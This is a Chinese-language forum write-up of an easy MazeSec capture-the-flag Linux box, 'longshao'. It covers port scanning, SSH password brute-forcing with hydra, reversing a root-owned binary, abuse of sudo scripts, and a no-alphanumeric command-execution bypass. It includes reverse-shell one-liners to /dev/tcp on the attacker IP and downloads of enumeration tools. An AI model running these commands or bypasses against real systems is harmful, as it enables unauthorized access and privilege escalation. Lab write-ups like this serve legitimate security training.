渗透靶机复盘(4)——ssh密码爆破、二进制文件分析、无字母数字的shell命令执行

渗透靶机复盘(4)——ssh密码爆破、二进制文件分析、无字母数字的shell命令执行
渗透靶机复盘(4)——ssh密码爆破、二进制文件分析、无字母数字的shell命令执行

靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:longshao
系统 :Linux
作者 :超级黑暗无敌龙
难度 :Easy

依旧新鲜靶机,文章其实早就写好了,但是由于还在群内的做题时间,所以现在才发出来,欢迎大家学习和指导
不多说,直接开始。

信息收集

靶机ip:192.168.56.108

端口扫描

┌──(kali㉿JYlover)-[~]
└─$ nmap -p- 192.168.56.108


开放 2280端口,这次就很明显是从web入手了。

一个登录页面。
测了一下没有类似sql注入的问题。
那就扫一下目录。常规信息收集:

$ dirsearch -u 192.168.56.108


多出来一个 /dashboard.php( /cgi-bin/printenv和/cgi-bin/test-cgi这两个应该是apache自带的一些配置文件,没有什么用)
我们去访问dashboard:

直接给了ssh凭证,web端是白给的,所以我说侧重是在shell提权上。

baolong:jinhua

横向移动

$ ssh [email protected]
# 输入:jinghua

登录到baolong用户。
然后我们信息收集一波。

baolong@longshao:~$ sudo -l
# Sorry, user baolong may not run sudo on longshao.
baolong@longshao:~$ wget 192.168.56.1:9999/pspy64
baolong@longshao:~$ chmod +x pspy64
baolong@longshao:~$ ./pspy64

没有啥大收获。
这里又传了linpeas.sh(工具箱中的)上去扫了一遍。
这是一个bash脚本,用于在 Linux 系统上自动进行信息收集和提权路径枚举。

baolong@longshao:~$ wget 192.168.56.1:9999/linpeas.sh
Connecting to 192.168.56.1:9999 (192.168.56.1:9999)
saving to 'linpeas.sh'
linpeas.sh           100% |******************************************************************| 1032k  0:00:00 ETA
'linpeas.sh' saved
baolong@longshao:~$ chmod +x linpeas.sh
baolong@longshao:~$ ./linpeas.sh
-bash: ./linpeas.sh: /bin/sh^M: bad interpreter: No such file or directory
baolong@longshao:~$ sed -i 's/\r$//' linpeas.sh
baolong@longshao:~$ ./linpeas.sh

注意这里如果是从windows上传过去可能会有这个换行符冲突的问题,我们可以用sed命令替换一下。
然后他就会开始自动扫。
也并没有扫到什么很有用的东西,但是也顺带有点收获:


可以看到有3个普通用户:

  • baolong
  • chaojibaolong
  • chaojiwudilong
    可能是打横移链。(这名字起的,暴龙的进化之旅(~ ̄▽ ̄)~)

    又注意到/opt目录下有一个internal目录。(opt目录放第三方下载的东西,所以很多作者会把口子放在这里)

既然没啥东西了,那我们肯定就去看看这个internal目录吧

baolong@longshao:~$ ls /opt/internal -la


看到有一个parser_core的二进制文件,root所有,属于chaojibaolong组,且组用户可执行。
很明显是引导我们横移到chaojibaolong用户了。
我们想把文件拉下来分析一下,

但是也需要有chaojibaolong用户,其中我们也没发现其他横移的路子。

没办法的时候就想想最笨的办法,直接去爆破一下ssh密码呢?

┌──(kali㉿JYlover)-[~]
└─$ hydra -l chaojibaolong -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.108 -t 4 -e nsr


还真给扫到了。
chaojibaolong/love123
可以拷贝下来了:

$ scp [email protected]:/opt/internal/parser_core ~/tmp/

这是在我们攻击机上执行的远程拷贝命令
然后用ida打开看看。
直接f5反汇编


好像大概就是有一个--debug参数,…然后就可以执行su chaojiwudilong啦≡(▔﹏▔)≡。好吧看不懂。
交给ai:

  1. 必须root执行
  2. 必须是 1 或 2 个参数(argc - 2 <= 1)。
    • 1 个参数:正常模式
    • 2 个参数:若第二个参数为 --debug,开启调试标志(这里argc[0]是程序本身,所以{a2[2], "--debug"}不是检查第三个参数而是第二个)
  3. 文件名必须 .log结尾,文件必须在/tmp/
  4. log文件存在的话就只是打印成功,不存在的时候且开启了调式模式,就会执行su chaojiwudilong
    那么很清晰,我们的目标是:
    以root身份执行这个程序–>启动调试模式–>指定一个不存在的log文件
    也就是
$ /opt/internal/parser_core /tmp/1.log --debug

如果root执行了这个命令,就可以切换身份了

但是我们怎么去root执行呢?可能到这里就没什么思路了。

那就登录。在信息收集一下sudo权限有没有。

baolong@longshao:~$ su chaojibaolong
# 输入:love123
chaojibaolong@longshao:/home/baolong$ sudo -l


直接发现拥有 无需密码执行 /usr/local/bin/check_parser的权限。
这是个什么东西呢,我们去看看。

chaojibaolong@longshao:/home/baolong$ vi  /usr/local/bin/check_parser


是一个bash脚本大概是:

  1. 检查uid是否为0,也就是检查是不是root执行。不是root直接退出
  2. 检查第一个参数,如果第一个参数为空且第一个参数对应的路径不是普通文件,则退出。这里用的并运算(-a),所以如果有参数的话,就一定不会退出
  3. 执行parser_core,并且把参数传递给它
    又清晰了,上面我们分析过,只需要执行parser_core并带有--debug参数就可以到chaojiwudilong
$ /opt/internal/parser_core /tmp/1.log --debug

我们不能root执行parser但是可以root执行check_parser呀,而check_parser又执行了parser。这样就间接执行了,而且参数原样传递,我们可以像直接调用parser一样,就是改一下名字。
我们执行:

$ sudo /usr/local/bin/check_parser /tmp/1.log --debug


横向完成。

提权

拿到最后一个普通用户,再看看sudo权限:

$ sudo -l


可以无密码执行/usr/local/bin/a.sh
去看看这个脚本。

chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh


终于能看懂了:

  1. 先把PATH直接改成/usr/bin(这样所有命令会去/usr/bin下面找)
  2. cd到/tmp目录
  3. <( ... )表示把命令执行的结果当一个临时文件,然后把临时文件的值赋值给$CMD
  4. head -n1 | tr -d "[A-Za-z0-9/]"表示取出第一行,删掉其中的数字字母和
  5. 最后执行$CMD
    也就是这个脚本的参数,不能有数字字母和/ ,然后这个参数会被执行。
    这里就是一个无数字字母命令执行。
    虽然没有数字没有字母,但是还有!?_这些特殊符号呀。

这里首先我们要知道一个知识点,那就是. <文件名>(注意有空格)是可以执行shell脚本的(.source命令的简写,用于在当前 shell 进程中执行脚本),例如:


这里看得很清楚,source <文件名>可以成功执行a文件中的shell命令,. <文件名>也可以

所以我们流程就是:
创建名为_的文件,内容是shell命令—>sudo执行a.sh,—>传入. _
然后就打成任意命令执行了。
1.


2.

关于最后提权的小复盘

我们要注意到脚本中:

PATH=/usr/bin

cd /tmp

read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"

有一句改PATH的命令,所以有些命令我们最好用绝对路径,不然会默认去/usr/bin里面找
例如我们的反弹shell。

bash -c 'exec bash -i &>/dev/tcp/192.168.56.1/8888 <&1'


# 就要改成
/bin/bash -c 'exec /bin/bash -i &>/dev/tcp/192.168.56.1/8888 <&1'

不然就会报错


因为/usr/bin下面没有bash,他是在/bin/bash
这里还发现:

echo "/bin/bash -i >& /dev/tcp/192.168.56.1/8888 0>&1">_
# 这个不行


会报错


这里不知道是为什么,可能是执行是的环境是sh
这里实在搞不懂了

还有一点就是如果不用_,用?或者!也是可以的,但是由于他们在shell中有特殊含义,所以要注意利用“”。

知识点总结

本次靶机遇到的知识点:

  1. 遇到二进制文件可以拉下来反编译审计
  2. source <文件名>是把文件名执行。可以写成. 文件名,绕过限制
    这次靶机遇到的固定知识点比较少,大部分是根据实际情况来的分析,代码审计。大家可以自行复现

2 个帖子 - 2 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文